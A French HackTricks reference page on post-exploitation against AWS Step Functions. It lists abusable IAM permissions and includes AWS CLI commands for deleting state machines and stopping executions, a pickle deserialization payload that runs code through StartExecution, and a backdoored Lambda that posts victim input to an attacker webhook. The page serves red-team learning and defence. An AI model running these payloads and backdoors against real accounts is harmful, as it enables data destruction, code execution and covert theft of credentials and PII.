AWS - Step Functions Post Exploitation

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks

Step Functions

Pour plus d’informations sur ce service AWS, consultez :

AWS - Step Functions Enum

states:RevealSecrets

Cette permission permet de rĂ©vĂ©ler des donnĂ©es secrĂštes Ă  l’intĂ©rieur d’une exĂ©cution. Pour cela, il faut dĂ©finir le niveau d’inspection sur TRACE et le paramĂštre revealSecrets sur true.

states:DeleteStateMachine, states:DeleteStateMachineVersion, states:DeleteStateMachineAlias

Un attaquant disposant de ces permissions pourrait supprimer dĂ©finitivement des state machines, leurs versions et alias. Cela peut perturber des workflows critiques, entraĂźner une perte de donnĂ©es et nĂ©cessiter un temps important pour rĂ©cupĂ©rer et restaurer les state machines affectĂ©es. De plus, cela permettrait Ă  un attaquant d’effacer les traces utilisĂ©es, de perturber les enquĂȘtes forensiques et potentiellement de paralyser les opĂ©rations en supprimant des processus d’automatisation essentiels et des configurations d’état.

Note

  • En supprimant une state machine, vous supprimez Ă©galement toutes ses versions et alias associĂ©s.
  • En supprimant un alias de state machine, vous ne supprimez pas les versions de state machine faisant rĂ©fĂ©rence Ă  cet alias.
  • Il n’est pas possible de supprimer une version de state machine actuellement rĂ©fĂ©rencĂ©e par un ou plusieurs alias.
# Delete state machine
aws stepfunctions delete-state-machine --state-machine-arn <value>
# Delete state machine version
aws stepfunctions delete-state-machine-version --state-machine-version-arn <value>
# Delete state machine alias
aws stepfunctions delete-state-machine-alias --state-machine-alias-arn <value>
  • Impact potentiel: perturbation des workflows critiques, perte de donnĂ©es et indisponibilitĂ© opĂ©rationnelle.

states:UpdateMapRun

Un attaquant disposant de cette permission pourrait manipuler la configuration d’échec de Map Run et le paramĂštre parallel, pouvant augmenter ou diminuer le nombre maximal d’exĂ©cutions enfants de workflow autorisĂ©es, affectant directement les performances du service. De plus, un attaquant pourrait altĂ©rer le pourcentage et le nombre de dĂ©faillances tolĂ©rĂ©es, pouvant rĂ©duire cette valeur Ă  0, de sorte que chaque fois qu’un Ă©lĂ©ment Ă©choue, le Map Run entier Ă©chouerait, affectant directement l’exĂ©cution de la state machine et perturbant potentiellement des workflows critiques.

aws stepfunctions update-map-run --map-run-arn <value> [--max-concurrency <value>] [--tolerated-failure-percentage <value>] [--tolerated-failure-count <value>]
  • Impact potentiel: DĂ©gradation des performances et perturbation des processus critiques.

states:StopExecution

Un attaquant disposant de cette autorisation pourrait ĂȘtre en mesure d’arrĂȘter l’exĂ©cution de n’importe quelle machine d’état, perturbant les workflows et processus en cours. Cela pourrait entraĂźner des transactions incomplĂštes, l’arrĂȘt des opĂ©rations mĂ©tier et une corruption potentielle des donnĂ©es.

Warning

Cette action n’est pas prise en charge par les express state machines.

aws stepfunctions stop-execution --execution-arn <value> [--error <value>] [--cause <value>]
  • Impact potentiel: Perturbation des workflows en cours, indisponibilitĂ© opĂ©rationnelle et possible corruption des donnĂ©es.

states:TagResource, states:UntagResource

Un attacker pourrait ajouter, modifier ou supprimer des tags sur les ressources Step Functions, perturbant l’allocation des coĂ»ts de votre organisation, le suivi des ressources et les politiques de contrĂŽle d’accĂšs basĂ©es sur les tags.

aws stepfunctions tag-resource --resource-arn <value> --tags Key=<key>,Value=<value>
aws stepfunctions untag-resource --resource-arn <value> --tag-keys <key>

Potential Impact: Perturbation de l’allocation des coĂ»ts, du suivi des ressources et des politiques de contrĂŽle d’accĂšs basĂ©es sur les tags.


states:StartExecution -> Injection d’input dans des sinks dangereux

states:StartExecution est un point d’entrĂ©e data-plane. Si une state machine transfĂšre un input contrĂŽlĂ© par l’attaquant vers une task qui contient un sink dangereux (par exemple une Lambda qui exĂ©cute pickle.loads(base64.b64decode(payload_b64))), vous pouvez parfois transformer StartExecution en code execution et secret exfiltration via la sortie d’exĂ©cution, sans aucune permission pour mettre Ă  jour la state machine.

Découvrir le workflow et la Lambda invoquée

Si vous avez states:List* / states:Describe*, vous pouvez énumérer et lire la définition de la state machine :

REGION=us-east-1
SM_ARN="<state_machine_arn>"

aws stepfunctions describe-state-machine --region "$REGION" --state-machine-arn "$SM_ARN" --query definition --output text

Si vous avez également lambda:GetFunction, vous pouvez télécharger le bundle de code Lambda pour comprendre comment les entrées sont traitées (et confirmer si unsafe deserialization existe) :

LAMBDA_ARN="<lambda_arn_from_definition>"
CODE_URL="$(aws lambda get-function --region "$REGION" --function-name "$LAMBDA_ARN" --query 'Code.Location' --output text)"
curl -sSL "$CODE_URL" -o /tmp/lambda.zip
unzip -o /tmp/lambda.zip -d /tmp/lambda_code >/dev/null
ls -la /tmp/lambda_code

Exemple : pickle conçu dans l’entrĂ©e d’exĂ©cution (Python)

Si la Lambda effectue unpickle de donnĂ©es contrĂŽlĂ©es par l’attaquant, un pickle malveillant peut exĂ©cuter du code lors de la dĂ©sĂ©rialisation. Exemple de payload qui Ă©value une expression Python dans le runtime Lambda :

PAYLOAD_B64="$(python3 - <<'PY'
import base64, pickle

class P:
def __reduce__(self):
# Replace with a safe proof (e.g. "1+1") or a target-specific read.
return (eval, ("__import__('os').popen('id').read()",))

print(base64.b64encode(pickle.dumps(P())).decode())
PY
)"

EXEC_ARN="$(aws stepfunctions start-execution --region "$REGION" --state-machine-arn "$SM_ARN" --input "{\"payload_b64\":\"$PAYLOAD_B64\"}" --query executionArn --output text)"
aws stepfunctions describe-execution --region "$REGION" --execution-arn "$EXEC_ARN" --query output --output text

Impact : Toutes les permissions dont dispose le rĂŽle de tĂąche (Secrets Manager reads, S3 writes, KMS decrypt, etc.) peuvent ĂȘtre atteintes via une entrĂ©e spĂ©cialement conçue, et le rĂ©sultat peut ĂȘtre renvoyĂ© dans la sortie d’exĂ©cution de Step Functions.

states:UpdateStateMachine, lambda:UpdateFunctionCode

Un attaquant qui compromet un utilisateur ou un rĂŽle disposant des permissions suivantes :

{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "AllowUpdateStateMachine",
"Effect": "Allow",
"Action": "states:UpdateStateMachine",
"Resource": "*"
},
{
"Sid": "AllowUpdateFunctionCode",
"Effect": "Allow",
"Action": "lambda:UpdateFunctionCode",
"Resource": "*"
}
]
}


peut mener une attaque post-exploitation à fort impact et discrùte en combinant Lambda backdooring avec la manipulation de la logique Step Function.

Ce scénario suppose que la victime utilise AWS Step Functions pour orchestrer des workflows qui traitent des entrées sensibles, telles que credentials, tokens ou PII.

Exemple d’invocation de la victime:

aws stepfunctions start-execution \
--state-machine-arn arn:aws:states:us-east-1:<victim-account-id>:stateMachine:LegitStateMachine \
--input '{"email": "victim@example.com", "password": "hunter2"}' --profile victim

Si la Step Function est configurĂ©e pour invoquer une Lambda comme LegitBusinessLogic, l’attaquant peut procĂ©der Ă  deux variantes d’attaque furtives :


Mise Ă  jour de la lambda function

L’attaquant modifie le code de la lambda function dĂ©jĂ  utilisĂ©e par la Step Function (LegitBusinessLogic) pour exfiltrer silencieusement les donnĂ©es d’entrĂ©e.

# send_to_attacker.py
import requests

def lambda_handler(event, context):
requests.post("https://webhook.site/<attacker-id>/exfil", json=event)
return {"status": "exfiltrated"}
zip function.zip send_to_attacker.py

aws lambda update-function-code \
--function-name LegitBusinessLogic \
--zip-file fileb://function.zip -profile attacker

Ajouter un état malveillant au Step Function

Alternativement, l’attaquant peut injecter un exfiltration state au dĂ©but du workflow en mettant Ă  jour la dĂ©finition du Step Function.

{
"Comment": "Backdoored for Exfiltration",
"StartAt": "OriginalState",
"States": {
"OriginalState": {
"Type": "Task",
"Resource": "arn:aws:lambda:us-east-1:<victim-id>:function:LegitBusinessLogic",
"End": true
}
}
}

aws stepfunctions update-state-machine \
--state-machine-arn arn:aws:states:us-east-1:<victim-id>:stateMachine:LegitStateMachine \
--definition file://malicious_state_definition.json --profile attacker

L’attaquant peut ĂȘtre encore plus furtif en mettant Ă  jour la dĂ©finition d’état comme ceci { “Comment”: “Backdoored for Exfiltration”, “StartAt”: “ExfiltrateSecrets”, “States”: { “ExfiltrateSecrets”: { “Type”: “Task”, “Resource”: “arn:aws:lambda:us-east-1:victim-id:function:SendToAttacker”, “InputPath”: “$”, “ResultPath”: “$.exfil”, “Next”: “OriginalState” }, “OriginalState”: { “Type”: “Task”, “Resource”: “arn:aws:lambda:us-east-1:victim-id:function:LegitBusinessLogic”, “End”: true } } } oĂč la victime ne remarquera pas la diffĂ©rence


Victim Setup (Context for Exploit)

  • A Step Function (LegitStateMachine) is used to process sensitive user input.
  • Il appelle une ou plusieurs fonctions Lambda telles que LegitBusinessLogic.

Impact potentiel:

  • Exfiltration silencieuse de donnĂ©es sensibles, y compris des secrets, identifiants, clĂ©s API et PII.
  • Aucun erreur ou Ă©chec visible dans l’exĂ©cution du workflow.
  • Difficile Ă  dĂ©tecter sans auditer le code des fonctions Lambda ou les traces d’exĂ©cution.
  • Permet une persistance Ă  long terme si la backdoor reste dans le code ou la logique ASL.

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks